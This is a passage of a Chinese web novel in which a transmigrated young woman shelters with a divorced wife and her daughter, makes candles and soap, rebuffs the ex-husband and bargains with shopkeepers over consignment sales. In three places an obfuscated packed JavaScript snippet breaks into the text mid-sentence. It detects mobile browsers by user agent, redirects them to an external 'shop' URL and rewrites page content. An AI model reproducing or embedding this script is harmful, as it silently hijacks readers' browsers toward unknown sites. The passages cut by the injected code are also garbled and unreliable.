真的好香,轻轻夹起,放到米饭上拌一拌,入口即化,只留下肉香和满足。菜也很好吃,入口在熟了但还脆脆的味道也足的状态,清甜解腻,祝棠英道:“郑姐姐,你手艺也太好了,这做得比我想象中还要好吃!” 郑桂如道:“哪儿有你说得那么好。” 话很是谦逊,但郑桂如是笑着说的,祝棠英发现,她笑容比昨日多了。 兰姐儿很喜欢这些菜,本来郑桂如厨艺就好,这些更好吃,祝棠英想,以前刷视频也没白刷,她不会做但是郑桂如会呀,那以后得有多少好吃的。 祝棠英:“比我说得还好吃。” 祝棠英这顿饭吃得心满意足,一碗半饭,好几块肉,青菜她以前不太爱吃,这回也吃了不少。 吃过饭,她去刷碗了,郑桂如拦着不让,祝棠英道:“你做了饭很累的,该歇歇,若实在闲不住,去磨乌桕子。” 郑桂如轻轻嗯了一声,却没闲着,和兰姐儿一起把桌子擦了。 郑桂如瞥见祝棠英在厨房洗刷碗筷,心里很是感动,她从没和祝棠英说锅,在陆家,赵氏对她总是挑三拣四。 这道菜不好吃,那道点心味道不对,久而久之她不觉得自己做的东西多好吃。棠英很好,她很好。 中午有太阳,厨房这儿暖融融的,祝棠英吃饱喝足心情颇好,哼着歌洗碗,一边洗她突然想到一件事,“郑姐姐,你今日出门,可见到祝家人了?” 郑桂如摇了下头,“你有什么打算,可要回去?” 一说这个就有点沉重,祝棠英道:“不回了。” 祝棠英才不回去, 不过日后有机会往祝家送点钱,她穿过来占了原身的身体,该替原身做这些。但如果让她当牛做马回报祝家就别指望了,她没那么大的奉献精神,别人算计她她还倒给数钱。 想了想,祝棠英又对郑桂如道:“这是我自己的决定,和你无关。回去要被压着嫁人,虽然躲过了婚期,可保不准被盯上,没了陆家还有别人家,我爹娘就是那个性子,能跑出来是好事。” 不是失了名节就万无一失,毕竟陆云程现在名声也不好,说不准日后陆云程还吃回头草,找郑桂如来。 哪怕祝棠英这样说,郑桂如也觉得对她不住。 郑桂如道:“棠英,你晚上想吃什么?我再去买一些肉,晚上做些包子,剩下的明早吃。等以后钱多一些,再做一些腌肉腊肉,留着冬日吃。” 她不知祝棠英的喜好,不过看今日中午她是个喜欢吃肉的。 祝棠英使劲点点头,“成呀成呀,当然成了,郑姐姐,你人可真好!好姐姐,你听过油炸肉没?” 这个吃食是她闲暇的时候刷视频看见的,把肉用盐、花椒腌一两日,然后过油炸。炸肉用的是靠出来的猪油,炸透之后就储存在小坛子里,连着油一块放进去了,吃的时候捞出来切一点。 那个博主偏爱煮米线,放各种酱菜腌辣椒,快给她馋疯了,可是人家不卖。 她本来还想看看能不能拿自己做的东西交换一下,再不济还能坐飞机过去吃,可是就车祸穿越了。幸好她面前有个活菩萨,人美心善手艺好,兴许她许个愿就能吃到了。 郑桂如没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925545|192569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听过,她问祝棠英怎么做,祝棠英也只是看过视频,大体说了一下。 郑桂如把自己想知道的都问了,连带着腌辣子,做油辣子,腌酸菜也都打听差不多,祝棠英说不出的她自己试试,“我试试看,但不一定好吃。” 祝棠英使劲点了点头,“郑姐姐的手艺,我肯定能全吃完。” 刷好碗筷,祝棠英继续做乌桕子了。郑桂如无论如何也要她去睡会儿,“身体要紧。” 祝棠英觉得自己像多了个姐姐,睡了两刻钟她就起来做东西了。下午,她抽空做了肥皂,还是用籽油和皮油,按照配比混合草木灰水,不住搅拌看发生皂化反应后等着冷却凝固。 秋日天冷,到了傍晚就凝出来一批,蜡烛灌模子,肥皂拿出来切割定型。 屋子透出橘色的光来,把蜡烛点上,用蜡油粘在桌子上,上面套着个罩子,让光变得暖融融的。家里用的肥皂比外面卖的大,给赵老板的样货祝棠英还小心的雕刻了一下边角,这样更光滑好握,不过用的是剪刀。 看来买铁锅前得先买几把小刻刀。 晚上,三人就用这个梳洗的,郑桂如笑盈盈的,“棠英,这很好用。” 兰姐儿玩着手里的泡泡,“娘,这香香的!” 祝棠英觉得自己可以找些别的原料,做些润肤膏,唇膏,先家里用着,后头再找赵老板问能不能卖。 秋冬天冷,风大,脸干嘴干肯定是常事,就是不知百姓要不要猫冬,若是猫冬不出门,估计不太好卖。 祝棠英会做的东西不少,但这个时代,有的不适用,有的现在卖不出去,得慢慢理。 次日是九月二十六,今日本该是陆家敲锣打鼓,陆云程迎亲再娶的日子,可是祝棠英跑了。 打早陆家就人去祝家问,祝家还没把祝棠英找回来。 现在境况比前几日还差,前几天只是议论纷纷,议论就议论,这好歹是自家家事,关别人什么事,等过门后过几个月,谁还记得。 可今日却不好了,临近婚期,祝棠英竟然跑了。 陈氏心底气愤,“祝家不想答应不答应就是,既然答应了聘礼收了,那把女儿看严点,这不是耍人吗?一个姑娘家说跑就跑,出去一夜,还不知发生了什么,就算人找回来,我陆家也不娶了,当陆家什么人都要?” 赵氏在一旁没搭话,可心里却沉得厉害,外头议论纷纷,说什么的都有。最要命的是陆云程已经把郑桂如休了,若报官说祝家骗婚,倒也成,可陆家实在丢不起这个人了,本来就在风口浪尖上,现在进衙门打官司,哪怕官司打赢了,也没用。 陈氏:“一个姑娘家能去哪儿啊?祝家几门亲戚都问了,别处也有留意着,客栈更没人。” 不光陈氏奇怪,祝父祝母也奇怪。 县城哪儿都找了,祝棠英一个姑娘家,能跑去哪儿?难不成跑出城了……可跟守卫打听,根本没见她出城。 那日追过去,还看见个人影,有人说看见祝棠英去了城南巷子,找了几家问,要么说自己没出门不知道,要么说没瞧见。 李氏道:“准是之前有相好的,这回趁机躲了过去。我说那几日她怎么总出门,陆云朝刚走,这就找了相好的……” 林氏疾言厉色道:“你胡说八道什么呢?人还没找到,你就在这信口胡诌,败坏你妹妹名声。” 李氏哎呦一声,“娘,哪是我败坏呀,那不是她自己跑的吗?现在倒好,怎么跟陆家交代吧,说不准被记下,以后活活做不得,连口饭都没得吃。” 祝父沉喝一声,“好了!把聘礼都退回去,之后的事等她回来再说。” 李氏闻言更没个好脸色,祝父去了陆家,陆家还算好说话。东西都退了回去,有些用了的,祝家咬牙补上了。 把人送走,赵氏愁道:“这事儿办的……云程,不然你去桂如那儿说说好话。” 12.第十二章 登门 赵氏想过了,日后祝棠英回来还想进陆家门,出了这样大的事,肯定不可能按从前说的那样给三倍聘礼。 那是给清白姑娘的聘礼,祝棠英行事毫无章法,祝家更是教女无方,这次祝家得登门道歉,随便给点聘礼就是,祝棠英愿意嫁就嫁,不愿意嫁就滚。 女子失了名节,就算长得跟天仙似的,谁会愿意娶她。 现在要紧的是先把郑桂如接回来,还有兰姐儿,那是陆云程的血脉,一直在外算什么。 至于郑桂如不愿意、不回来,这赵氏没想过。 赵氏还算了解这个儿媳,性子软好拿捏,哪怕这回嘴硬不肯和离最后被休,那也是因为她心里有陆云程,所以才苦苦哀求着不要离开陆家。陆云程现在过去接人,郑桂如肯定高兴得不知怎么好。 赵氏:“云程,当时不也是想等这边亲事办完稳当下来,再把桂如给接回来。如今早早接过来,郑桂如指定高兴。夫妻哪儿有隔夜仇,你好好说。” 陆云程点了下头,这几日跑前跑后,听外边的闲言碎语,他的确想念和郑桂如、兰姐儿在一块儿的时光。 那些日子他读书,郑桂如在一旁做绣活,兰姐儿在阳光下解九连环,屋里不时传来九连环叮当碰撞声,温馨自在,比如今鸡飞狗跳的日子好百倍千倍。 * 城南破巷子,郑桂如起来把包子热了,昨儿包的多,留了一些早上吃。 她又滚了鸡蛋汤,把菜叶子切得细细的,碗里打三个鸡蛋,放些细盐搅散。葱花爆香,把菜炒了之后加水,等水烧开,一边搅一边把鸡蛋液倒进去。那鸡蛋变得跟云彩似的,慢慢浮起散开,软绵绵卧在碧绿的菜叶中,做好了郑桂如才喊祝棠英起来吃饭。 门被敲了敲,“棠英,起来了。” 祝棠英昨天晚上熬得晚,再加上秋日天冷,她忍不住在被窝里躺了一会儿,但也就一会儿,她就飞快爬起来穿衣梳洗。 一出门,祝棠英就闻到了阵阵香味儿,兰姐儿朝她笑,“棠姨,你醒啦?” 祝棠英伸手摸了把兰姐儿的脑袋,“你醒得比姨还早。” 她想着今儿得空给兰姐儿做些小玩意,省着一直跟她们待着无趣。 再把需要用的东西理理,现在东西少,等再卖两次多攒些钱,祝棠英就能置办别的东西了。除了各种工具……还需要各种树叶胶质,这个得想法子,看看附近有什么树木再说。 收拾好,祝棠英就过去吃饭了。桌上摆着大盆鸡蛋汤和一大盘包子,郑桂如正在盛饭。 祝棠英发现包子和昨天晚上的不太一样,昨儿中午吃的红烧肉,晚上她就吃的素包子。 菜馅儿吃起来特别鲜亮水灵,很是爽口。但今天的包子大大的,软软的,包子皮儿上透着酱色的油光,好像透过包子皮能看见里面的肉馅儿,这包子一看就好吃! 祝棠英迫不及待地喝一口鸡蛋汤,汤很香,鸡蛋花软绵绵的,热乎乎的汤驱散晨起的寒意,连喝几口,她才端起碗咬一口肉包子。 圆滚滚的包子缺了一口,祝棠英不禁眼前一亮,这不是普通的肉包子! 肉馅饱满多汁就不说了,并非一个肉丸,而是微散有嚼劲儿的。祝棠英更喜欢这种,里面不止有肉馅儿,她还尝到了红烧肉的味道。 低头一看,里面就是块咬断的红烧肉! 红烧肉被包子一蒸,里面油脂一部分融入了肉馅中,还有一部分到了包子皮里。红烧肉口感微甜,吃着十分软糯,她以前可没吃过这种馅儿,郑桂如竟然能想到把这两样混在一块儿,真是天才! 祝棠英不由道:“郑姐姐,你怎么想到把红烧肉包进包子里的!” 郑桂如觉得肉总归要吃到嘴里,怎么做都成,她是见祝棠英和兰姐儿都喜欢这道菜,本想着今天中午热着吃,结果脑袋一热就给包包子里了。郑桂如道:“我就试了试,味道怎么样?” 兰姐儿吃着包子,也说好吃。 祝棠英:“好吃得不得了!郑姐姐,我都不知道怎么夸好了!” 内馅丰富,口感也丰富,本来肉包子就很好吃了,这样吃着更香。 包子皮透油,光吃包子皮就很好吃了。 郑桂如还怕不好吃,看到祝棠英喜欢她就放心了,“好吃你多吃些,中午想吃什么?” 郑桂如自知做蜡烛上她帮不上太多忙,大多活祝棠英在做。对她来说能赚钱的就是家中的天,家中的顶梁柱,指定要让祝棠英吃好喝好的。 祝棠英说的那个肉她今天做着试试,不过又要腌又要炸,还得配小菜,今日肯定吃不上。 祝棠英道:“郑姐姐,一日有一顿吃好吃的就够了,今日的足够了,中午怎么方便怎么来。” 郑桂如得照顾兰姐儿,家里的事也是她操心多,哪儿能一直围着灶台转。 祝棠英不想顾着自己口腹之欲随便乱点菜,费事不说,也花钱呢。二百文要买米面调料吧,还得买柴火,再添置些锅碗,用不了几日就花完了。 她得多多赚些钱才是。 吃了两个肉包子,喝了一大碗鸡蛋汤,祝棠英吃饱了,等着都吃完她把碗筷捡了刷了。 然后进屋看昨儿晚上晾得蜡液灌的蜡烛,她总共买了二百斤乌桕子,有些上面挂着小树杈,把那些去了纯乌桕子能有一百九十多斤。 前日做了二十多斤,昨日时间多,从上午忙到晚上,祝棠英灌了五十根蜡烛,还有小罐子干蜡液,加上盆里晾的,能再做六七十根。 肥皂她做了十多块,自家用一点,给邻居送一点,剩下的拿去和杂货铺谈价钱。等价钱谈妥了再大批量做,现在先以蜡烛为主。 今日过了,她出门应该不成问题,不用郑桂如跑去卖了。 有时间,郑桂如能做自己喜欢的事,祝棠英不太了解她喜欢什么,书里说她总绣花,也不知究竟是喜欢还是为生计所迫。 她摇摇脑袋,把昨儿灌的蜡烛取出来,重新灌上,然后就磨乌桕子去了。 这是个细致活,郑桂如慢慢上手,现在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不知过了多久,门嘎吱响了一声,这处宅子破,屋里的东西也旧。尤其是门,开门关门的时候那门就跟拉二胡似的,调子拉得老长。 祝棠英没回头,道:“你回来啦。” 祝棠英就没想过是别人,她们三个女人在家住,什么都得当心,若都在家里,就把门插上,有人来了再去开门。 若郑桂如和祝棠英单独出门,出去的时候把门锁上,回来了自己开。 屋外脚步有些沉重,祝棠英有些疑惑,抬头看人已经走进来了,兰姐儿眼睛一亮,也不玩乌桕子手串了,跟乳燕投怀一般往前扑去,“爹!你来啦!” 兰姐儿很是欢喜。 那时祝棠英看郑桂如看向兰姐儿的神色很是心疼落寞,不由问她兰姐儿知道吗。郑桂如摇了摇头,她念在孩子还小,很多事并未告诉女儿。 她不想告诉女儿大人之间的事。 对兰姐儿来说,来这边只是从大宅子搬出来住到小宅子里,没有丫鬟玩伴,父亲忙得很,许久不来看她。 终于见到了,想念得很。 陆云程心里不是滋味,他把手里东西放下,把女儿抱起来,看向祝棠英的方向。祝棠英穿着郑桂如的衣裳,可细看却不是郑桂如。 陆云程面露迟疑,最后一个一个字道:“……祝棠英?” 13.第十三章 求和 陆云程从未想过会在这里看见祝棠英,他脑中出现大片空白,就像被人打了一拳,来不及反应。而祝棠英看他出现眼中也有慌乱,可是很快她就镇定下来,神色变得讥讽玩味。 陆云程不喜祝棠英。 陆家祝家找了祝棠英两日,只知她没出城,却不知她去了哪里。此时此刻,陆云程觉得分外荒诞。 祝棠英知不知道他们找了她多久?知不知道因为她一个人闹得两家鸡飞狗跳鸡犬不宁。哪怕现在,陆云程也想不通,祝棠英为何出现在这里。 尤其她淡定自若的样子看起来不像闯进来的,郑桂如也知道? 陆云程神色变化莫测,脸色一阵红一阵白。祝棠英就淡定多了,她虽然没想到在家里会碰见陆云程,不过她想过迟早会遇到这两家人。 街上、巷子,哪里都有可能。 兰姐儿还在,祝棠英笑笑,道:“好久不见呀,陆公子。” 陆云程看祝棠英笑着,觉得自己脸上火辣辣的,他被人戏耍了,他道:“你为何在这儿,桂如她去哪儿了?你……” 祝棠英:“陆公子,这话该我问你吧,这是郑娘子家,你是怎么进来的?” 祝棠英问完就想明白了,宅子从陆家拿的,陆云程私下留了把钥匙,大概郑桂如也没想过陆云程会这样做,就没想过换锁。 陆云程盯着祝棠英,没有回答她的问题,而是道:“祝姑娘,我不知你为何藏在这儿,外面你爹娘都在找你。于情于理,你该给他们报个平安,莫要让他们担心。” 祝棠英道:“担心?担心什么,担心我走了他们没法和你交代?” 陆云程只和祝棠英见过为数不多的几面,每次说话祝棠英都带刺。 兰姐儿仰头看着,眼神懵懂,祝棠英弯腰摸摸兰姐儿的脑袋,让兰姐儿去屋里玩儿,陆云程问:“你又想对兰姐儿做什么?” 祝棠英直起腰,压低声音道:“她年纪小,耳朵却好使,还是说你想让她知道,她有个自私自利、为了二房财产抛弃她的父亲。” 陆云程心里一紧,沉眉出门,屋外有些冷,他还是不明白,为何祝棠英会在这里。 祝棠英才懒得解释,跟出来嘲讽道:“你怎么来这儿了,我知道,你是亲事做不成,又回来吃回头草的。可是有句话叫迟来的深情比草贱,不过你也没几分深情。” 陆云程沉眉,“你一女子,作何牙尖嘴利,说话这般难听。” 祝棠英上下打量了陆云程一番,“难道我说得不对吗?若非我在这,今儿怕是你敲锣打鼓成亲的好日子,可惜了,亲事不成又回头找郑姐姐。嫌我说话难听,那你别做啊。还是在你心里,我和郑姐姐该如同仇人一般争风吃醋,围着你转,那你可想岔了。” 祝棠英看陆云程摇摇欲坠的样子觉得可笑。 陆云程指着祝棠英,想反驳却无话可说。 祝棠英又补了一刀,“我不过是把你做的事说出来,怎么,这就受不了了?” 祝棠英的话,如同利剑句句刺在陆云程心口,揭开了遮羞布,也是正好,郑桂如买东西回来了。 郑桂如下意识看了一眼院门的锁,明白了陆云程为何在这里。 祝棠英看着二人,她咳了一声,“郑姐姐。” 她本想着趁郑桂如没回来把陆云程赶走,就当他没来过,可这是郑桂如的事,再说,今儿赶走了明日还能来。 郑桂如把手中的肉递给祝棠英,“棠英,我和他说几句话。” 陆云程松了口气,整个人都缓过来了,“桂如……” 祝棠英翻了个白眼回屋把门关上,郑桂如看了眼陆云程,“你不该来的。” 陆云程:“我来看看你和兰姐儿。” 郑桂如:“人已经看过了,你走吧。” 陆云程失魂落魄道:“桂如,数日不见,你只有这些话对我说吗?” 数日不见,陆云程很是思念郑桂如,他以为郑桂如同他一样。 郑桂如对陆云程摇了摇头,她看得出陆云程这些日子过得不好,人瘦了,也憔悴几分,但没办法。她也知道陆云程今日出现在这儿为了什么,可什么时候不好,偏偏是今日。 今日本该是他成婚另娶的日子,郑桂如清楚地明白,是因为祝棠英逃婚了,陆云程才找了过来。 她不是没有期盼陆云程回心转意过,陆云程瞒着她的时候、说要另娶的时候、甚至刚搬出来的时候,那个时候陆家祝家亲事没定下来,若陆云程来找她,为了女儿,为了多年夫妻情分,祝棠英也不会有家不能回,她愿意回去。 可事到如今,要她怎么回头? 祝棠英为了她逃了婚事,彻夜不归失了名节,白天晚上做蜡烛,吃饭的时候胳膊都抬不起来,手上磨了水泡,硬忍着没说。 她总得争气些。 郑桂如:“锁我会换掉,你是兰姐儿的爹,想看她可以来,事先说一声就是。我们的事我尚未和她说,等她长大些吧。” 言尽于此,郑桂如没什么好说的,她心里难受,喘不上来气。 陆云程了解她,知她心软,“桂如,千错万错都是我的错,你可以打我骂我,别说这些气话好不好……我自知对不住你,只要能弥补,怎样都行。” “是我不好,只想着二房和陆家,让你搬出来是我对不住你,可我当时也是顾全大局情非得已。当时我想事情办完就接你回去,桂如,只要你肯回去,怎样我都答应。” 陆云程上前握住郑桂如的手,郑桂如把手指一根一根抽了出来,她问:“若棠英祝家等着跟你成婚,你今日还会来吗?” 陆云程嘴唇动了动,“桂如,我没这么想……你给我机会弥补,母亲她也盼着你和兰姐儿回去。” 郑桂如笑了,她性子软,哪怕说这些话,也是轻言慢语,“难道你看不出你母亲总为难于我?我被休,她最乐意,是不是她和你说,只要你招招手,我就会跟着回去。陆云程,其实你都明白……休了我,不是为了二房,更不是为了陆家,是为了你自己。二房能供你读书,送来的笔墨纸砚都比平日的好用。于你而言,我……我随意哄哄就能回来,离不开你,更离不开陆家。” 陆云程心底一慌,反驳道:“你怎么能这么想我,我若这么想,今日怎会过来!我多难做你又不是不知,答应二婶更是不想你操劳,桂如,你这样太让我寒心了。” 郑桂如鼻子有些酸,她恨自己不争气,“寒心?有些话太重,我原本念着多年夫妻情分不想说,可既然今日你在这儿,那就一并说清楚。你我的情分,自你写了休书那日,就断干净了。我不想兰姐儿知道这些,你再不走,我就打你走……” 陆云程满目不可置信,几乎落荒而逃。 等他走后,郑桂如握住发凉的手,擦擦眼角,把门插上了。 屋内,隔着一道门,祝棠英心里不是滋味,她有些心疼郑桂如。< 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忙忙碌碌,倒也有滋有味,彼时陆家和祝家已经被平地惊雷的消息砸得喘不过气了。 任谁也想不到祝棠英会在郑桂如那儿,其实陆家找人的时候还往这边找了,特意避开了郑桂如,结果祝棠英就藏在那儿。 赵氏和陈氏万分不解,根本想不通祝棠英是怎么想的,前脚还非要先进门呢,后脚就…… 陈氏疑惑道:“既然她乐意和桂如相处,当初何必闹那么僵?在那破宅子住有什么好的?快给俩人接回来呀。” 陆云程并没有提祝棠英说话多难听,多夹枪带棒,也没提郑桂如说的那些话,他道:“……桂如如今还生我的气,等过些日子再接她吧。” 赵氏:“接?她还生气了,晾她几日再说!” 陆家多大,赵氏不信二人愿意住那么个破宅子。 而祝家这边,谁也没想二人一唱一和故意设计,只是疑惑早知这样,当初直接嫁了就是,现在平白还了聘礼,祝家吃亏了。 李氏:“还没嫁过去胳膊肘就往外拐了……爹,可要把人接回来?” 祝父:“明日再去,陆家得给个说法!” 祝棠英不知,若是知道只会大笑几声,这些人脑袋准被驴踢了,难道两个人吵架是为了男人,关系亲近也是为了男人? 陆云程救过他们命啊。 祝棠英夜里爬起来,点上蜡烛又灌了一次,第二天一早又脱模重新做上,把蜡烛数了数,留十根家里用,二百四十根和十块肥皂,装好带去杂货铺。 有点重,下回还是少卖一点好了。 祝棠英觉得既然陆云程知道她在哪儿,祝家迟早知道,不用躲着不出门。若祝父还想抢人打人,她可以跑。 现在她力气大了些,跑得肯定更快。 到了杂货铺,祝棠英直接找赵老板,“这是蜡烛,还有皂块,上回我姐姐说您觉得皂块不错,我做了些。” 赵老板道:“那皂块问的人不少,成,我清点一下算算价钱……蜡烛是四千八百文,皂块三十文……” 祝棠英打断道:“赵老板,皂块你卖过,知道好不好卖,还按原来的价钱不合适吧。” 赵老板动作一顿,“祝姑娘,蜡烛我已让了几分利,你若觉得皂块价钱便宜,那不如这样,以后蜡烛十五文一根,皂块五文一块,这样你觉得如何?” 14.第十四章 寄卖 祝棠英听完立刻把蜡烛往布袋子里捡,赵老板一看,“你看,这样你又不愿意了。我在别人那儿进货,都是十文十五文,你这我给二十文呢,结果你倒贪心,皂块也想多赚钱,天下哪有这种好事。” 祝棠英头也不抬道:“那这些日子真可是让赵老板受委屈了,不过你大可放心,以后不必受这委屈了,我不在你这卖了。” 祝棠英又不是没做过生意,虽然不是卖东西,但她跟人谈过广告。做什么生意是双方都觉得赚钱才做的,赵老板让她做皂块,肯定因为她做的卖得好。 猪皂五文一块,这个卖价只会更高。 县城又不是只有一家杂货铺,祝棠英东西不多,这么多天赵老板知道生意怎么样,压价还这么狠。 这家杂货铺在城南,本来这边就用油灯居多,不如看看别处的杂货铺。 她扛上东西欲走,赵老板面色一凛,“姑娘,你可想清楚了。我现在给的价钱已经很高了,你要是出了这个门,连十五文我都不会给,只给十三文。” 赵老板以为这话能唬住祝棠英,可祝棠英不是吓大的,她嗤笑道:“赵老板说话做事前也该想清楚,你铺子蜡烛卖三十文一支,我若支个摊子在你门口卖,你说他们是会从你铺子买还是从我这买?做事留一线,日后好相见。” 赵老板:“你!” 祝棠英出了门,她衣裳单薄,被风一吹打了个激灵。这回她长了记性,这些是小东西没错,但最好签个合同。 东西沉,幸好高平县不大。祝棠英有些发愁,这么多蜡烛,如果卖不出去,几人要饿肚子,什么红烧肉,肉包子可就都没有了。 衣裳也没有了。 她打起精神,咬咬牙进了城东的杂货铺,这家杂货铺比城南那家大一点,看着东西也齐全。祝棠英大致扫了一眼,光蜡烛就有几种,白烛红烛,有的更粗,看着更耐用。 一进门就有伙计招待,祝棠英问了这皂块和白烛的价钱。 “这位姑娘,蜡烛三十文一支,皂块五文一块,姑娘想要点什么?” 跟那边杂货铺的定价一样,祝棠英道:“我买几个小罐子。” “陶罐便宜,三文一个,姑娘要几个?” 祝棠英财大气粗道:“给我来五个。” 东西买完,祝棠英又道:“你们老板可在?我有点生意想跟他谈谈。” 伸手不打笑脸人,祝棠英买了东西,再谈生意肯定容易点,至少能见到人。 伙计愣了愣神,“成,我这就给姑娘叫去。” 祝棠英稳住心神,很快,杂货铺老板就来了。老板是个中年男人,国字脸,说话带点江湖气,还算客气,给祝棠英请到了后头院子里坐着,又让伙计把炭炉子点上了。 “姑娘想谈什么生意?” 祝棠英道:“我自己做了些蜡烛和皂块看看,您看收不收?“ 自己做的? 陈老板看了一眼,又上手摸了摸,眼里来了兴致,“蜡烛皂块都是自己做的?“ 祝棠英点点头,没多说什么。 陈老板掂了掂重量,又放下看另外一样。看了看,又闻了闻,最后捻捻手指道:“姑娘,我先试试吧。” 祝棠英笑着点点头,“您请。” 陈老板取来铺子的蜡烛,又拿祝棠英的,一块点上后,看哪个光更亮燃得更久。至于皂块,他随处蹭了点油,打了一盆清水,洗洗试试。 对于这两样东西,祝棠英还是有把握的。事实也是如此,她做的蜡烛光圈更大,那边下去一小节,这边高半个手指。 结果显而易见。 陈老板拿了皂块,先闻闻味道,然后便去洗手。泡沫很浓密,很快手就洗干净了。 他一边拿布巾擦手,一边道:“姑娘,你看这样如何?蜡烛二十文一根,皂块五文一块。” 原本祝棠英是觉得这样不错,若是赵老板答应,当即就卖了,可来的路上想了想,价钱还是低了点儿。她想到了另一条路,寄卖。 郑桂如提过,她偶尔去布庄卖绣品,有时也是寄卖。和直接卖不同,一个先结钱,寄卖则是卖完再结。 杂货铺收零零散散的东西,占个不大不小的地方,卖出去一份,抽成一部分。 做生意得双方乐意,她说出自己的要求,对方不想答应可以不答应,祝棠英放下心道:“我想在这寄卖。” 陈老板挑眉道:“寄卖,姑娘可想清楚了?寄卖钱不现结,若东西卖不出去一文都没有。寄卖就一小块地方,客人未见得能看见。” 祝棠英觉得,要是卖不出去,陈老板不会愿意收,“这是自然,不过我想老板您也希望东西卖得快,这批卖出去,我才能拿下一批,互利互惠嘛。再说了,在您这儿卖得好,之后我做了别的东西,肯定也会想着先来您这儿卖。” 寄卖杂货铺赚得少,但不担风险。东西卖不出去退回去就是,就付出一点柜台,一本万利。 祝棠英和郑桂如两个人做,量不多,比起急用更缺钱,寄卖合适。 陈老板点点头,“既然姑娘心意已决,那谈谈怎么抽成。” 陈老板的意思是按两个点抽,这边大多是这样,倘若卖三十文,抽两个点就是六文,就拿蜡烛来说,直接卖二十文,祝棠英一支蜡烛多赚四文钱。 祝棠英语气软了些,恳求道:“我这东西不错,后头做新的也会在铺子卖,老板,抽成就低一点吧。” 陈老板笑笑,油盐不进道:“姑娘有所不知,寄卖大多是这个价钱,咱们才做生意,你又是以后又是新的,我可吃不下。不然这样,你五日来拿一次钱,别人多十天半个月拿钱,这样成不?” 祝棠英想这样也行,她试探着道:“我能先卖一百根,剩下的慢慢寄卖吗?” 祝棠英还是有点缺钱的,太冷了,她想穿厚衣裳。 陈老板笑了笑,如果是别人,他未见得会同意,不过祝棠英她长得实在太好看了,看着赏心悦目,下意识觉得她做的东西也别具一格,“这有何不成的,一手交钱一手交货,寄卖得签个文书。” 祝棠英心道,原来这边叫文书啊。 她点点头,这样最好,虽然没谈下价钱,但是能拿一部分,后面慢慢卖,就不着急了。 到手两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940463|192569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千文,剩下的寄卖,陈老板让祝棠英定价,祝棠英道:“蜡烛跟着铺子走,皂块六文一块,若是好卖我再做。” 文书签上,按了手印,祝棠英心里松了口气。 东西出手,她带着文书和钱回家,郑桂如问:“今儿怎么出去这么久,我都想出去找你了。” 郑桂如担心祝家人找过来,祝棠英摇摇头,“赵老板那儿出了点事,以后不再那边卖了。” 祝棠英把事情经过简单说了,郑桂如道:“价钱是压得厉害,寄卖挺好。” 祝棠英:“这回拿了两千文,就留七百文置办东西,五百文吃饭吧,剩下一人四百文。” 加上祝棠英原来存的,也有七百文了,应该够置办一身衣裳。后面等拿了钱再做,郑桂如也能歇歇。 祝棠英不懂这些,把钱直接给了郑桂如,“郑姐姐,你帮我弄吧。” 郑桂如拿了四百文,“用不了这么多,一匹布能做一两身衣裳的,我那还有些料子,给你搭搭就是。吃饭的钱还有,也用不了这么多的。” 祝棠英:“那就多买肉,买鱼买鸡,买米买面!这个不能省,再有一回,我怕饿肚子。” 郑桂如不禁笑了笑,“好。” 有粮食多囤着,后头不赚钱了不慌。今日的确忧心,万一别的铺子也不收那不就出事了,还是得囤一些以备不时之需。祝棠英信任她,把买菜买米的钱放在她这儿,她就好好规划,让家里吃饱吃好。 加上这个,还有五百三十文,郑桂如打算再买二十斤肉,加上上回买的十斤,先慢慢吃着,剩下的钱要买米面、香料、柴火炭块……估计还能剩点。 精打细算,郑桂如可是一把好手。 祝棠英则拿着七百文和上回留的三百八十五文,去买乌桕子和工具,家里的乌桕子就剩五十多斤,不够用了,这回再买点。 今日九月二十七,离过年还有三个月,年后开春前两个月,这期间都能做蜡烛卖。 还是买了二百斤,剩五百文,祝棠英去问刻刀这些小物件,精铁贵,但架不住刻刀用的铁少,每样价钱凑合,不过赶制需要时间,铁匠铺这里有做好的,祝棠英选了一把平口刀,一把圆口刀,一把三角刀。 祝棠英还看见了几把錾刻刀,问了价钱比木刻刀贵,她没余钱。 等再赚了可以买一些,到时候她可以接一些做金银首饰的活。因为她有蜡,可以做蜡模,自己再去倒模。 有一阵子居家打金很火,不过祝棠英知道的时候已经到了鱼尾,她再拍类似的视频很难爆,所以了解过后,从做模具开始拍打金,反响很好。 但现在没钱,她只是个往杂货铺卖蜡烛的小贩,总得做些像样的东西,别人知道她有手艺了才行。不然到街上拉一个人说,我能做首饰,别人会以为她是疯子。 祝棠英付了钱,手头买料子的钱就剩六十文,祝棠英买了五斤干杏仁,还余了二十文。 把杏仁放进篮子的时候,祝棠英被重重一扯,差点就摔了,她好好在摊子前买东西,无缘无故被扯一下,刚要问候,就看见李氏张牙舞爪道:“好啊,可找到你了!” 15.第十五章 唇膏 李氏:“跟我回家去,你知不知道爹娘多担心你?谁家好姑娘成天往外跑,赶紧给我回去。” 李氏他们没想明白为何祝棠英会在郑桂如家里,但不妨碍他们理亏,本来就够丢人的了,再去郑桂如那儿,万一郑桂如闹起来怎么办? 人好好的,祝父反倒不着急了,让李氏来接人,不用大张旗鼓地,把人带回来,有什么事回家再说。 